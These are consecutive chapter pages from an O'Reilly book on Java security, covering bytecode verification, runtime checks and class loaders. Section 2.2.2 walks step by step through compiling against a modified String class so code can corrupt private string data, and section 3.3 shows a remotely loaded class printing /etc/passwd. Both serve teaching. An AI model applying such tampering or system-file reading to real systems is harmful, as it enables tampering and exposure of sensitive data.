The second of these mechanisms is that object serialization respects the transient keyword associated with a variable: if our account number in the CreditCard class were declared as private transient, then object serialization would not be allowed to read or write that particular variable. This lets us design classes that can be stored and reconstituted without showing their private data to the world.

Of course, a CreditCard object without an account number is worthless; what we really need is something that can save and reconstitute the transient data in such a way that the data can't be compromised. This can be achieved by having our class implement the writeObject() and readObject() methods. The writeObject() method is responsible for writing out all data in the class; it typically uses the defaultWriteObject() method to write out all non-transient data, and then it writes the transient data out in any format it desires. Similarly, the readObject() method uses the defaultReadObject() method to read the data and then must restore the corresponding transient data. It's your decision how to save and reconstitute the transient data so that its integrity is preserved, but this will mean that you'll want to use one of the encryption APIs we'll discuss in Chapter 13, "Encryption".

Storing and reconstituting the transient data can also be achieved by implementing the Externalizable interface and implementing the writeExternal() and the readExternal() methods of that interface. The difference in this case is that these two methods are now responsible for saving and reconstituting the entire state of the object--no data can be stored or reconstituted by any default methods.

Using either of these techniques, you have the ability to protect any sensitive data contained in your objects, even if you choose to share those objects over the network or save those objects to some sort of persistent storage.

Previous | Home | Next
1.5. Summary | Book Index | 2.2. Enforcement of the Java Language Rules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Enforcement of the Java Language Rules (Java Security)

 Java Security Search this book

2.2. Enforcement of the Java Language Rules

The list of rules we outlined above are fine in theory, but they must be enforced somehow. We've always been taught that overwriting the end of an array in C code is a bad thing, but I somehow still manage to do it accidentally all the time. There are also those who willfully attempt to overwrite the ends of arrays in an attempt to breach the security of a system. Without mechanisms to enforce these memory rules, they become simply guidelines and provide no sort of security at all.

This necessary enforcement happens at three different times in the development and deployment of a Java program: at compile time, at link time (that is, when a class is loaded into the virtual machine), and at runtime. Not all rules can be checked at each of these points, but certain checks are necessary at each point in order to ensure the memory security that we're after. As we'll see, enforcement of these rules (which is really the construction of this part of the Java sandbox) varies depending on the origin of the class in question.

2.2.1. Compiler Enforcement

The Java compiler is the first thing that is tasked with the job of enforcing Java's language rules. In particular, the compiler is responsible for enforcing all of the rules we outlined above except for the last two: the compiler cannot enforce array bound checking nor can it enforce all cases of illegal object casts.

The compiler does enforce certain cases of illegal object casts--namely, casts between objects that are known to be unrelated, such as the following code:

Class Definition

Vector v = new Vector();
String s = (String) v;

But the validity of a cast between an object of type X to type Y where Y is a subclass of X cannot be known at compile time, so the compiler must let such a construct pass.

2.2.2. The Bytecode Verifier

Okay, the compiler has produced a Java program for us, and we're about to run the Java bytecode of that program. But if the program came from an unknown source, how do we know that the bytecodes we've received are actually legal?

Bytecode Verification of Other Languages

Throughout this section, we're discussing the bytecode verifier as if it were tied to the Java language. This is somewhat imprecise: the bytecode verifier is actually independent of the original source language of the program. If we had a C++ compiler that generated Java bytecodes from C++ source, the bytecode verifier would still be able to verify (or not) the bytecodes.

However, the verification of the bytecodes would still depend upon the semantics of the Java language, and not the semantics of C++; just because the bytecodes in question originated from C++ code is no reason that they should suddenly be allowed to cast an arbitrary memory location into an object.

For this reason, I prefer to think of the bytecodes in terms of the Java language itself. There are tools to produce Java bytecodes from other languages (like Scheme), but in general, producing Java bytecodes from another language severely limits the constructs that can be written in that other language.

This brings us to the need for the bytecode verifier--the second link in the chain of responsibility of enforcing the rules of the Java language. Normally when the need for the bytecode verifier is discussed, it's in terms of an evil compiler--that is, a compiler that someone has written in such a way that the code produced by the compiler is not legal Java code. The theory is that code from such a compiler could be constructed in order to create and exploit a security hole by ignoring a rule in the Java language. Such an attack might seem to be difficult to achieve, in that it would require some detailed knowledge of the Java compiler.

It turns out that the evil compiler issue is a red herring--it doesn't really matter whether such an attack is likely or not, because it's trivial to create non-conforming Java code with any standard Java compiler. Assume that we have these classes:

Class Definition

public class CreditCard {
    public String acctNo = "0001 0002 0003 0004";
}

public class Test {
    public static void main(String args[]) {
        CreditCard cc = new CreditCard();
        System.out.println("Your account number is " + cc.acctNo);
    }
}

If we run this code, we'll create a CreditCard object and print out its account number. Now say that we realize the account number should really have been private, so we go back and change the definition of acctNo to be private and recompile only the CreditCard class. We then have two class files, and the Test class file contains Java code that illegally accesses the private instance variable acctNo of the CreditCard class.

The above example shows an innocent mistake, but a malicious programmer could use just this technique to produce illegal Java bytecodes. In order to modify the contents of a string, for example, all we need to do is:

  1. Copy the java.lang.String source file into our CLASSPATH.

  2. In the copy of the file, modify the definition of value--the private array that holds the actual characters of the string--to be public.

  3. Compile this modified class, and replace the String.class file in the JDK.

  4. Compile some new code against this modified version of the String class. The new code could include something like this:

    Class Definition

    public class CorruptString {
    public static void modifyString(String src, String dst) {
        for (int i = 0; i < src.length; i++) {
                if (i == dst.length)
                        return;
                src.value[i] = dst.value[i];
        }
    }
}

    Now any time you want to modify a string in place, simply call this modifyString() method with the string you want to corrupt (src) and the new string you want it to have (dst).

  5. Remove the modified version of the String class.

Now the CorruptString class can be referenced by a Java program, which can use it to attempt to corrupt any string that it has a reference to. Even though the program will run with the original version of the String class, the CorruptString class will be able to access the private value array within the String class--unless the bytecode verifier rejects the CorruptString class.

2.2.2.1. Inside the bytecode verifier

The bytecode verifier is an internal part of the Java virtual machine and has no interface: programmers cannot access it and users cannot interact with it. The verifier automatically examines most bytecodes as they are built into class objects by the class loader of the virtual machine (see Figure 2-1). We'll give just a brief overview of how the bytecode verifier actually works.

Figure 2-1. The bytecode verifier

The verifier is often referred to as a mini-theorem prover (a term first used in several documents from Sun). This sounds somewhat more impressive than it is; it's not a generic, all-purpose theorem prover by any means. Instead, it's a piece of code that can prove one (and only one) thing--that a given series of (Java) bytecodes represents a legal set of (Java) instructions.

Specifically, the bytecode verifier can prove the following:

  • The class file has the correct format. The full definition of the class file format may be found in the Java virtual machine specification; the bytecode verifier is responsible for making sure that the class file has the right length, the correct magic numbers in the correct places, and so on.

  • Final classes are not subclassed, and final methods are not overridden.

  • Every class (except for java.lang.Object) has a single superclass.

  • There is no illegal data conversion of primitive data types (e.g., int to Object).

  • No illegal data conversion of objects occurs. Because the casting of a superclass to its subclass may be a valid operation (depending on the actual type of the object being cast), the verifier cannot ensure that such casting is not attempted--it can only ensure that before each such attempt is made, the legality of the cast is tested.

  • There are no operand stack overflows or underflows.

    In Java, there are two stacks for each thread. One stack holds a series of method frames, where each method frame holds the local variables and other storage for a particular method invocation. This stack is known as the data stack and is what we normally think of as the stack within a traditional program. The bytecode verifier cannot prevent overflow of this stack--an infinitely recursive method call will cause this stack to overflow. However, each method invocation requires a second stack (which itself is allocated on the data stack) that is referred to as the operand stack; the operand stack holds the values that the Java bytecodes operate on. This secondary stack is the stack that the bytecode verifier can ensure will not overflow or underflow.

Hence, when the bytecode verifier has completed its task, we know that the code in question follows many of the constraints of the Java language--including most of the rules that the compiler was also responsible for ensuring. The remaining rules are verified during the actual running of the program.

2.2.2.2. Delayed bytecode verification

When we began this section, we said that the bytecode verifier is responsible for examining all the bytecodes of the class--we explicitly did not say that the verifier is responsible for verifying all the bytecodes. This is because the bytecode verifier may delay some of the checks it is responsible for, as long as those checks are performed before the code is actually executed. In typical verifier implementations, the bytecode verifier does not immediately test to see if all field and method accesses are legal according to the access modifiers associated with that field or method.

This is driven by a desire to be efficient--our Test class may reference the acctNo field of our CreditCard class, but it may do so only if a particular branch in the code is taken. In the following code, there's no need to verify that the access to acctNo is legal unless an IllegalArgumentException has been generated:

Class Definition

CreditCard cc = getCreditCard();
try {
    Wallet.makePurchase(cc);
} catch (IllegalArgumentException iae) {
    System.out.println("Can't process for account " + cc.acctNo);
}

Hence, the bytecode verifier delays all tests for field and method access until the code is actually executed. The process by which this happens is implementation independent; one technique that is often used is to ensure during verification that all accesses test the validity of the field access. If the access is valid, the standard bytecodes are then replaced during execution with a special bytecode indicating that the test has been performed and access to the field in question no longer needs to be tested. On the other hand, if the validity test fails, the virtual machine throws an IllegalAccessException.

This gives us the best of both worlds--verification of the access is performed during the actual running of the program (after traditional bytecode verification has occurred), but the verification is still only performed once (unlike the runtime verification we'll examine later).

2.2.2.3. Controlling bytecode verification

Bytecode verification seems like a great thing: not only can it help to prevent malicious attacks from violating rules of the Java language, it can also help detect simple programmer errors--such as when we changed the access modifier of acctNo in our CreditCard class, but forgot to recompile our Test class.

Nonetheless, bytecode verification is not used on all classes. Like many security-related features of Java, bytecode verification only applies to certain classes. In Java 1.1 and earlier, classes that are loaded from the CLASSPATH are deemed to be trusted and are not subject to bytecode verification, whereas classes that are loaded from another location (e.g., a file- or HTTP-based URL) are not deemed to be trusted and must be verified. In Java 1.2,[3] this policy has changed and all classes except those in the core Java API are verified. This difference really reflects the class loader that is used to load the class, as we'll see in the next chapter.

[3]1.2 is now Java 2.

In typical usage, this is a workable policy. Browsers always ensure that the code imported to run an applet is verified, and Java applications are typically not verified. Of course, this may or may not be the perfect solution:

  • If a remote site can talk an end user into installing a local class into the browser's CLASSPATH, the local class will not be verified and may violate the rules we've discussed here. In 1.2, this is much harder, since the class must be added to the JAR file containing the core API classes.

  • You may implicitly rely upon the verifier to help you keep files in sync so that when one is changed, other files are verified against it.

As a user, you (theoretically) have limited control over the verifier--though such control depends on the browser you are using. If you are running a Java application, you can run java with the -verify option, which will verify all classes. Similarly, if you are using a browser written in Java--including the appletviewer--you can arrange for the java command to run with the -noverify option, which turns verification off for all classes. Occasionally, a browser not written in Java will allow the user to disable bytecode verification as well--e.g., Internet ExplorerTM 3.0 for the Mac had this capability, although it was present only because the bytecode verifier could not run in certain limited memory configurations.

However, although these options to the virtual machine are well-documented, they are not implemented on all platforms. One way to ensure that application code is run through the bytecode verifier is to use the final version of the JavaRunner program (once we add a class loader to it in the next chapter) or the Launcher in Java 1.2.

2.2.3. Runtime Enforcement

Like the compiler, the bytecode verifier cannot completely guarantee that the bytecodes follow all of the rules we outlined earlier in this chapter: it can only ensure that the first four of them are followed. The virtual machine must still take responsibility for ultimately determining that the Java bytecodes provide the security we expect them to.

The remaining security protections of the Java language must be enforced at runtime by the virtual machine.

Array bounds checking

In theory, the bytecode verifier can detect certain cases of array bounds checking, but in general, this check must take place at runtime. Consider the following code:

Class Definition

void initArray(int a[], int nItems) {
    for (int i = 0; i < nItems; i++) {
        a[i] = 0;
    }
}

Since nItems and a are parameters, the bytecode verifier has no way of determining whether this code is legal. Hence, array bounds checking is always done at runtime. Failure to meet this rule results in an ArrayIndexOutOfBoundsException.

Object casting

The verifier can and will detect the legality of certain types of casts, specifically, whenever unrelated classes are cast to each other. The virtual machine must monitor when a superclass is cast into a subclass and test that cast's validity; failure to execute a legal cast results in a ClassCastException. This holds for casts involving interfaces as well, since objects that are defined as an interface type (rather than a class type) are considered by the verifier to be of type Object.

Previous | Home | Next
2.1. Java Language Security Constructs | Book Index | 2.3. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

2.3. Summary

Because the notion of security in Java is pervasive, its implementation is equally pervasive. In this chapter, we've explored the security mechanisms that are built into the Java language itself. Essentially, at this level the security mechanisms are concerned with establishing a set of rules for the Java language that creates an environment where an object's view of memory is well-known and well-defined, so that a developer can ensure that items in memory cannot be accidentally or intentionally read, corrupted, or otherwise misused. We also took a brief look at Java's bytecode verifier, including why it is necessary, and why you should turn it on, even for Java applications.

It's important to keep in mind that the purpose of these security constraints is to protect the user's machine from a malicious piece of code and not to protect a piece of code from a malicious user. Java does not (and could not) prevent a user from acting on memory from outside the browser (with possibly harmful results).

Previous | Home | Next
2.2. Enforcement of the Java Language Rules | Book Index | 3. Java Class Loaders
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Class Loaders (Java Security)

 Java Security Search this book

Chapter 3. Java Class Loaders

Contents:

Security and the Class Loader
Anatomy of a Class Loader
Loading Classes
Implementing a Class Loader
Extensions to the Class Loader
Miscellaneous Class Loading Topics
Summary

In this chapter, we're going to explore Java's class loading mechanism--the mechanism by which files containing Java bytecodes are read into the Java virtual machine and converted into class definitions. The operation of Java programs depends on the class loader; given Java's desire to ensure security throughout its architecture, it should come as no surprise that class loaders are also a very important piece of the Java security story. The class loader normally works in conjunction with the security manager and access controller to provide the bulk of the protections associated with the Java sandbox.

The class loader is important in Java's security model because initially, only the class loader knows certain information about classes that have been loaded into the virtual machine. Only the class loader knows where a particular class originated, and only the class loader knows whether or not a particular class was signed (although the class loader arranges for the Class object itself to carry its signature with it). Hence, one of the keys to writing a secure Java application is to understand the role of the class loader and to write (or at least use) a secure class loader.

We'll address both those points in this chapter. We begin with an overview of how the class loader functions, and the features that its basic functions add to the overall security of the Java platform. We'll then look into writing our own class loader, the motivation for which will vary depending on the release of Java you're using and the type of application you are running.

As with the other elements of the Java sandbox, the ability to create and use a class loader is limited to Java applications. Java applets use the class loader provided for them by the browser in which they are running, and they are generally prohibited from creating their own class loader.

3.1. Security and the Class Loader

There are two instances where the class loader plays an important role in the Java security model: it must coordinate with Java's security manager or access controller, and it must enforce certain rules about the namespace used by Java classes.

3.1.1. Class Loaders and Security Enforcement

The class loader must coordinate with the security manager and access controller of the virtual machine in order to determine the security policy for a Java program. We'll explore this in more detail in the next few chapters when we discuss these various security mechanisms; for now, we'll just consider the motivation for the following connection.

As we know, a Java applet cannot (normally) read a file when the applet is being run in a browser such as HotJava.[1] The HotJava browser itself, however, can read files, even while it is also running applets. Both the browser and the applets are using the same classes to (attempt to) read a file, so clearly there must be something that allows the java.io classes to determine that one case should fail while the other case should succeed. That differentiation is the by-product of the class loader: the class loader allows the security manager to find out particular information about the class, which allows the security manager to apply the correct security policy depending on the context of the request. When we discuss the security manager, we'll discuss the specific mechanics by which this can be achieved. For now, it is only important to keep in mind that the class loader is the piece of the Java architecture that is able to make this distinction. Since it loaded the class, it knows if the class came from the network (i.e., the class is part of the applet and should not be trusted) or if the class came from the local filesystem (i.e., the class is part of the browser and should be trusted). It also knows if the class was delivered with a digital signature, and the exact location from which the class was loaded. All these pieces of information may be used by the security manager and access controller to establish a security policy.

[1]This is true of all Java-enabled browsers, of course, but the point is clearer when we consider the HotJava browser since that browser is written in Java.

3.1.2. Class Loaders and Namespaces

The second place where the class loader provides security in Java is more subtle and has to do with Java's namespace rules. Recall that the full name of a Java class is qualified by the name of the package to which the class belongs; there is no standard class called String in the Java API, but there is the class java.lang.String. On the other hand, a class does not need to belong to a package, in which case its full name is just the name of the class. It's often said that these classes are in the default package, but that's slightly misleading: as it turns out, there is a different default package for each class loader in use by the virtual machine.

Consider what happens if you surf to a page at www.sun.com and load an applet that uses a class called Car (with no package name); after that, you surf to a page at www.ora.com and load a different applet that uses a class called Car (also with no package name). Clearly, these are two different classes, but they have the same fully qualified name--how can the virtual machine distinguish between these two classes?

The answer to that question lies in the internal workings of the class loader. When a class is loaded by a class loader, it is stored in a reference internal to that class loader. A class loader in Java is simply an object whose type is some class that extends the ClassLoader class. When the virtual machine needs access to a particular class, it asks the appropriate class loader. For example, when the virtual machine is executing the code from sun.com and needs access to the Car class, it asks the class loader that loaded the applet (r1 in Figure 3-1) to provide that class.

Figure 3-1. Different instances of the class loaders help to disambiguate class names

In order for this scheme to work, the Car class from www.ora.com must be loaded using a different class loader than that which loaded the Car class from www.sun.com. That way, when the virtual machine asks the class loader r2 for the definition of the Car class, it will get back (correctly) the definition from ora.com. The class loader does not need to be a different class; as this example implies, it must merely be a different instance of the class. Hence, applets that have a different CODEBASE (even if they originate on the same host) are always loaded by different instances of the browser's class loader. Applets on the same page with the same CODEBASE, however, may use the same class loader so that they may share class files (as well as sharing other information). Some browsers also allow applets on different pages to be loaded by the same class loader as long as those applets have the same CODEBASE, which is generally a more efficient and useful implementation.

This differentiation between class files loaded from different class loaders occurs no matter what packages are involved. Don't be confused by the fact that there were no explicit package names given in our example. A large computer company might define a class named com.sun.Car, a large oil company might also define a class called com.sun.Car, and the two classes need to be considered as distinct classes--which they will be if (and only if) they are loaded by different instances of the class loader.

So far we've given a logical reason why the class loader is involved in the namespace resolution of Java classes. You might think that if everyone were to follow the convention that the beginning of their package name must be their Internet domain in reverse order--e.g., com.sun for Sun Microsystems--this idea of different class loaders wouldn't be necessary. But there are security reasons for this namespace separation as well.

In Java, classes that are members of the same package have certain privileges that other classes do not have--they can access all the classes of the package that have the default protection (that is, the classes that are neither public, private, nor protected). Additionally, they can access any instance variable of classes in the package if the instance variable also has the default protection. As we discussed in Chapter 2, "Java Language Security", the ability to reference only those items to which a class has access is a key part of the security restrictions Java places on a program to ensure memory and API integrity.

So let's assume that no class loader based package separation exists, and that we rely on Sun Microsystems to name its classes com.sun.Car and so on. Everything would proceed reasonably, until we surf to www.EvilSite.org, where someone has placed a class called com.sun.DoSomethingEvil. Without the namespace separation introduced by the class loader, this class would suddenly have access to all the default protected classes and default protected variables of every class that had been downloaded from Sun. Worse, that site could supply a class called com.sun.Car with a much different implementation than Sun's--such that when the user (metaphorically, of course) applied the car's brakes, the new implementation sped up instead. Clearly, this is not a desirable situation.

Note too that with a badly written class loader, the hackers at EvilSite.org have the potential to supply new classes to override the core classes of the Java API. When the class loader that loaded the applet from EvilSite is asked to provide the java.lang.String class, it must provide the expected version of that class and not some version from EvilSite.org. In practice, this is not a problem, because the class loader is written to find and return the core class first.

Without enforcement of the namespace separation that we've just outlined, there is no way to ensure that the hackers at EvilSite.org have not forged a class into the com.sun package. The only way to prevent such forgeries would be to require that every class be a signed class which authenticated that it did in fact come from sun.com (or wherever its package name indicates that it should have come from). Authenticated classes certainly have their place in Java's security model, but it would be unmanageable to require that every site sign and authenticate every class on its site.

Hence, the separation of classes based on the class loader that loaded them--and the convention that applets on different pages are loaded by different class loaders--has its benefits for Java security as well as solving a messy logistical problem. We'll now look into the details of how the class loader actually works.

Previous | Home | Next
2.3. Summary | Book Index | 3.2. Anatomy of a Class Loader
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Anatomy of a Class Loader (Java Security)

 Java Security Search this book

3.2. Anatomy of a Class Loader

When the Java virtual machine needs access to a particular class, it is up to a class loader to provide the class. The class loader goes through the following steps to load and define a class:

  1. If the class loader has already loaded this class, it should find the previously defined class object and return that object immediately.

  2. The security manager is consulted to see if this program is allowed to access the class in question. If it is not, a security exception is thrown. This step may be considered optional.

  3. Otherwise, an internal class loader is consulted to attempt to load the class from the CLASSPATH. If that succeeds, the class loader returns. This ensures that classes within the Java API will not be superseded by classes loaded from the network (or other location).

    The way this is done varies between 1.1 and 1.2.[2] In 1.1, there is a single method (the findSystemClass() method) that handles this step. In 1.2, a class loader must delegate to another class loader to find classes that are on the CLASSPATH and call the findSystemClass() method to find classes that are in the core API.

    [2]1.2 is now Java 2.

  4. The security manager is consulted to see if this program is allowed to create the class in question. If it is not, a security exception is thrown. This step may be considered optional.

  5. The class file is read into an array of bytes. The mechanism by which the class loader reads the file and creates the byte array will vary depending on the class loader (which, after all, is one of the points of having different class loaders).

  6. The byte codes are run through the bytecode verifier.

  7. A Class object is constructed from the bytecodes. In the process, the methods defining the class are created. In Java 1.1 and later, this process also ensures that the name in the class file matches the name that the class loader thought it was asked to load.

  8. Before the class can be used, it must be resolved--which is to say that any classes that it immediately references must also be found by this class loader. The set of classes that are immediately referenced contains any classes that the class extends as well as any classes used by the static initializers of the class. Note that classes that are used only as instance variables, method parameters, or local variables are not normally loaded in this phase: they are loaded when the class actually references them (although certain compiler optimizations may require that these classes be loaded when the class is resolved).

Step 5 of this process varies depending on the policy of the particular class loader--the data for the class may be read from the network or the filesystem (or from any other location, such as a database). The other steps of this process will remain fixed for a well-defined class loader.

There are a number of class loaders that are used in Java programs, described in the following sections.

3.2.1. The Internal Class Loader

All Java programs must have the capability of loading certain classes--the Java API classes and any others located in the user's CLASSPATH. Some of these classes are bootstrapped into the virtual machine. The first thing the virtual machine typically does is load the Java API class files (the rt.jar file) for future use.

The internal class loader uses the native operating system's file access methods to open and read the class files into byte arrays. When one of these classes contains a reference to another class, the internal class loader is again consulted to load the referenced class.

Unlike other class loaders we'll explore, the internal class loader cannot be overridden. Most of the internal class loader, in fact, is written in native code so that it can be accessed directly by the virtual machine (a requirement for the virtual machine to be able to bootstrap the API classes).

The internal class loader is often referred to as the default class loader or the primordial class loader. Due to some details of the Class class, we often speak of classes that are loaded by the internal class loader as having no class loader at all (and as a result, the internal class loader is sometimes called the null class loader).

There is a significant change in the use of the primordial class loader between Java 1.1 and 1.2. In 1.1, the primordial class loader was used to load all classes on the CLASSPATH. In 1.2, the primordial class loader is used only to load the Java API class files; the virtual machine constructs an instance of the URLClassLoader class to load the classes from the CLASSPATH.

3.2.2. The Applet Class Loader

An applet needs the ability to load classes via HTTP from the network. Hence, applet class loaders typically use the URL class to read in the data for a class file from the applet's CODEBASE host.

There is no standard applet class loader in the Java API--each Java browser is responsible for implementing its own class loader. In practice, the class loaders of various browsers are indistinguishable (and are usually based on the reference class loader implemented in Sun's appletviewer), but a Java programmer cannot simply instantiate an applet class loader in a platform-independent way.[3]

[3]If you want, you can figure out which class in the JDK on your system is the applet class loader, instantiate an instance of that class, and use it, but all virtual machines will not necessarily have that class available.

3.2.3. The RMI Class Loader

Beginning with JDK 1.1, the Java API includes an RMI class loader that can be used by any application. Despite its name, the RMI class loader needn't be used in an RMI application, and it is not truly a class loader--that is, it does not extend the ClassLoader class. In function, the RMIClassLoader class (java.rmi.server.RMIClassLoader) is very similar to the applet class loader--it uses the HTTP protocol to load the desired class file from a remote machine and then defines the class from the data in that file.

The RMI class loader cannot be instantiated directly; you must use one of its static methods to load a class. Once an initial class is loaded by the RMI class loader, any classes it references will also be loaded by the RMI class loader. In addition, the RMI class loader can only load classes from the URL specified by the java.rmi.server.codebase property, so it is not a generic solution to all applications where a class loader might be used.

If you are loading individual, unsigned classes (i.e., classes that are not in a JAR file) from a single URL (i.e., a single directory, whether a file-based or an HTTP-based URL), using the RMI class loader is the simplest option for Java 1.1 applications. For Java 1.2 applications, you can use the RMI class loader for this purpose, or you can use the URL class loader; the URL class loader will offer you more flexibility.

3.2.4. The Secure Class Loader

Beginning with Java 1.2, the Java API includes a class loader in the java.security package called SecureClassLoader. This class has a protected constructor, so its real use is to provide the basis for the development of other class loaders. The distinguishing feature of the secure class loader is that it associates a protection domain with each class that it loads. Protection domains form the basis of the operation of the access controller; we'll see more about them in Chapter 5, "The Access Controller". For now, just accept the fact that if you want to use the access controller to establish your security policy, you'll need to use a class loader that extends the SecureClassLoader class.

3.2.5. The URL Class Loader

Also beginning with Java 1.2, the Java API includes a general-purpose class loader that can load classes from a set of URLs: the URLClassLoader class (java.net.URLClassLoader). This class is public and fully implemented, so for 1.2-based applications, it provides a truly useful, general purpose class loader:

public class URLClassLoader extends SecureClassLoader figure

Load classes from a set of URLs. A URL in this set may be a directory-based URL, in which case the class loader will attempt to locate individual class files under that directory. A URL in this set may also be a JAR file, in which case the JAR file will be loaded, and the class loader will attempt to find a class in the JAR file.

An instance of the URLClassLoader class is created via one of these constructors:

public URLClassLoader(URL urls[]) figure
public URLClassLoader(URL urls[], ClassLoader parent) figure

Construct a class loader based on the given array of URLs. This class loader attempts to find a class by searching each URL in the order in which it appears in the array.

The second of these constructors constructs a URL class loader that uses the 1.2-based delegation model for loading classes (which we discuss at the end of this chapter). In that case, the parent class loader will be asked to load the class first; if it fails, this URL class loader proceeds to load the class. This is the preferred constructor to use.

An instance of the URLClassLoader class may also be obtained via one of these methods:

public static URLClassLoader newInstance(URL[] urls) figure
public static URLClassLoader newInstance(URL[] urls, ClassLoader parent) figure

Create and return a URL class loader. The difference between these methods and constructing a URL class loader directly is that the class loader returned from these methods will call the security manager's checkPackageAccess() method before it attempts to define a class; this is the optional step 2 referred to earlier. In 1.2, only class loaders obtained this way will perform that optional step (unless you write your own class loader to perform that step).

We can construct a URL class loader like this:

Class Definition

URL urls[] = new URL[2];
urls[0] = new URL("http://piccolo.East/~sdo/");
urls[1] = new URL("file:/home/classes/LocalClasses.jar");
URLClassLoader ucl = new URLClassLoader(urls, parent);

When we use this class loader to load the class com.sdo.Car, the class loader first attempts to load it via the URL http://piccolo.East/~sdo/com/sdo/Car.class; if that fails, it looks for the class in the LocalClasses.jar file.

It should come as no surprise that this class is the basis for running the Launcher. In that case, the array of URLs is created based on the list of URLs that make up the CLASSPATH (but not including the core Java API classes).

3.2.6. Choosing the Right Class Loader

With all these class loaders to choose from, which is the better choice: an existing class loader or your own custom class loader? The answer depends upon your needs. It is better not to write your own class loader if an existing one can fit your needs, but that's not always possible. Here are some guidelines:

  1. Start by trying to use an instance of the URLClassLoader class. This class can load classes from multiple sites, using file-based and HTTP-based URLs. It can process individual class files and JAR files (including signed JAR files, which will become important later in our discussion). This class is the basis of the Launcher, although with the Launcher itself, you're limited to file-based URLs.

    When would you not use the URL class loader? Here are some possible cases:

    • When you want to load classes other than via HTTP or the file system. You may have classes that are held in a database, or you may want to define the bytecodes for a class programmatically.

    • When you want to load classes from different hosts and you have a priori knowledge of which class is on which host. The URL class loader will search for classes in its list of URLs sequentially; prior knowledge may allow you to load classes more efficiently.[4]

      [4]In 1.2, the URLClassLoader class fails to handle multiple HTTP-based URLs correctly. It is hoped that this will be fixed someday; if it is not and you need to load classes from multiple web servers, you will need to use your own class loader--see the information about the MultiLoader class in Section 3.5.1, "Loading from Multiple Sites" later in this chapter.

  2. If you're on a 1.1-based system and only need to load classes from a single site, use the RMI class loader. Remember that you will have to define as a property the location where those classes are found.

  3. Otherwise, you'll need to provide a custom class loader.

Previous | Home | Next
3.1. Security and the Class Loader | Book Index | 3.3. Loading Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Loading Classes (Java Security)

 Java Security Search this book

3.3. Loading Classes

We'll now explore the details of how a class loader actually loads classes. There is a single method of the ClassLoader class (and all its subclasses) that accomplishes this:

public Class loadClass(String name)

Load and resolve the named class. A ClassNotFoundException is thrown if the class cannot be found.

This is the simplest way to use a class loader directly: it simply requires that the class loader be instantiated and then be used via the loadClass() method. Once the Class object has been constructed, there are three ways in which a method in the class can be executed:

  • A static method of the class can be executed using the native method interface of the Java virtual machine. This is the technique the Java virtual machine uses to execute the main() method of a Java application once the initial class has been loaded, but this is not generally a technique used by Java applications.

  • An object of the class can be constructed using the newInstance() method of the Class class, but only if the class has an accessible constructor that requires no arguments. Once the object has been constructed, methods with well-known signatures can be executed on the object. This is the technique that a program like appletviewer uses: it loads the initial class of the applet, constructs an instance of the applet (which calls the applet's no-argument constructor), and then calls the applet's init() method (among other methods).

  • Starting with JDK 1.1, the reflection API can be used to call a static method on the class, or to construct instances of the object and execute methods on that object. The reflection API allows more flexibility than the second choice, since it allows arguments to be passed to the constructor of the object. This is the technique that is used by our JavaRunner program.

The second case is more commonly implemented, if only because it's simpler (and it is applicable in all versions of Java). But consider the following modifications to our JavaRunner program:

Class Definition

public class JavaRunner implements Runnable {
    final static int numArgs = 2;
    ClassLoader cl;
    String className;
    Object args[];

    JavaRunner(ClassLoader cl, String className, Object args[]) {
        this.cl = cl;
        this.className = className;
        this.args = args;
    }

    void invokeMain(Class clazz) {
        .. unchanged ..
    }

    public void run() {
        Class target = null;
        try {
            target = cl.loadClass(className);
            invokeMain(target);
        } catch (ClassNotFoundException cnfe) {
            System.out.println("Can't load " + className);
        }
    }

    static Object[] getArgs(String args[]) {
        .. unchanged ..
    }

    public static void main(String args[])
                                    throws ClassNotFoundException {
        Class self = Class.forName("JavaRunner");
        JavaRunnerLoader jrl =
                new JavaRunnerLoader(args[0], self.getClassLoader());
        ThreadGroup tg = new ThreadGroup("JavaRunner Threadgroup");
        Thread t = new Thread(tg,
                new JavaRunner(jrl, args[1], getArgs(args)));
        t.start();
        try {
            t.join();
        } catch (InterruptedException ie) {
            System.out.println("Thread was interrupted");
        }
    }
}

We've replaced the forName() method that we used in our example in Chapter 1, "Java Application Security" with the highlighted code here: now we construct a class loader (an instance of the JavaRunnerLoader class, the definition of which we'll see in just a bit) and are now using the loadClass() method to find our target class.

In Java 1.2, constructing the class loader requires that we find the class loader that loaded our class and pass that to the constructor of the JavaRunnerLoader class. In 1.1, we would not use the self instance variable.

We've also changed the arguments required to run this program, which is why we've changed the definition of numArgs. Previously, we required the name of the class and any arguments the class requires. Now we require an additional argument: the name of the URL from which to load all the classes. Hence, if our Cat class was on the web server named piccolo, we could run our JavaRunner example like this:

Class Definition

piccolo% java JavaRunner http://piccolo/ Cat /etc/passwd
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
...

Note the difference between this implementation and the one we showed in Chapter 1, "Java Application Security". In this case, the Cat class is loaded from the JavaRunner class loader, and any classes the Cat class needs are dynamically loaded from that class loader. In Chapter 1, "Java Application Security", what happened was a product of the release of Java. In 1.1, the Cat class was loaded from the primordial class loader; any classes it required were loaded from the primordial class loader as well. In 1.2, the Cat class was loaded from an instance of the URLClassLoader class, and any classes it required were loaded from that class loader as well.

The practical result is that the security manager and access controller will give different permissions to the Cat class depending on which class loader loaded it: the permissions that are assigned to a class may be different depending upon whether the class was loaded from the URL class loader, the JavaRunner class loader, or the primordial class loader. Exactly how those permissions differ depends upon the internal implementation of the class loader as well as the security manager and access controller that are in effect. In a nutshell, these differences will be based upon where the class loader found the class, and whether or not that class was signed.

Previous | Home | Next
3.2. Anatomy of a Class Loader | Book Index | 3.4. Implementing a Class Loader
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Implementing a Class Loader (Java Security)

 Java Security Search this book

3.4. Implementing a Class Loader

Part of the security implications of a class loader depend upon its internal implementation. When you implement a class loader, you have two basic choices: you can extend the ClassLoader class, or you can extend the SecureClassLoader class. The second choice is preferred, but it is not an option for Java 1.1. If you're programming in 1.2, you may choose to use the URL class loader rather than implementing your own, but the information in this section will help you understand the security features of the URL class loader. In this section, then, we'll look at how to implement both default and secure class loaders.

